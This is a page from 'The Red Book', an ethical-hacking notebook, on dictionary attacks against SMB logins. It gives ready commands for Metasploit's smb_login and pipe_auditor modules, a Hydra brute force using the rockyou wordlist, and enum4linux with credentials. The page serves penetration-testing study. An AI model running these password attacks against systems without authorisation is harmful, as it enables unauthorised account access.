📕
The Red Book
  • 📕The Red Book
  • 🦳Stages of Ethical Hacking
    • 1️⃣Information Gathering
      • Active Information Gathering
        • DNS Zone Transfers
        • NMAP
        • netdiscover
        • sqlMap
        • Nikto
        • Shodan
        • RustScan
        • Amass
        • fping
      • Passive Information Gathering
        • Website Recon & Footprinting
        • Whois Enumeration
        • Netcraft
        • ⭐DNS
        • Identify if site is protected by firewall or proxy - wafw00f
        • Subdomain Enumeration - Sublist3r
        • ❌theHarvester (borked)
        • Email gathering
        • Leaked Password Databases
        • Certificates
    • 2️⃣Enumeration
      • SMB
        • Windows discover & Mount
        • NMAP Scripts
        • SMBMap
        • Samba with Linux
        • Dictionary Attack
      • FTP
      • SSH
      • HTTP
        • Subdomain
        • IIS
        • Apache
      • SQL
    • 3️⃣Vulnerability Assessment
      • Nessus
  • 💾System/Host Based Attacks
    • 🪟Windows
      • Frequently exploited Windows Services
    • 🐧Linux
  • 🥽Dorks
    • Google
      • Cheatsheet
      • Examples
    • Extra
  • 🎣Phishing
    • Gophish
    • evilgophish
    • King Phisher
    • EvilURL
  • 🔎OSINT
    • Temporary links
  • 👾Data exfiltration
    • Temporary links
  • 🐝OWASP
    • Top10
  • 📙Cheat Sheet
    • Curl
Powered by GitBook
On this page
  • Metasploit
  • Hydra
  • SMB pipes
  • enum4linux
Edit on GitHub
  1. Stages of Ethical Hacking
  2. Enumeration
  3. SMB

Dictionary Attack

PreviousSamba with LinuxNextFTP

Last updated 2 years ago

This module will test an SMB login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

Metasploit

msfconsole
use auxiliary/scanner/smb/smb_login 
set rhosts $IP
set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
set smbuser $USER_NAME # first there`s a need to enumerate some users
run

Hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP smb

SMB pipes

msfconsole
use auxiliary/scanner/smb/pipe_auditor
set smbuser $USER_NAME
set smbpass $PASSWORD
set rhosts $IP
run

enum4linux

enum4linux -r -u "$USER_NAME" -p "$PASSWORD"
🦳
2️⃣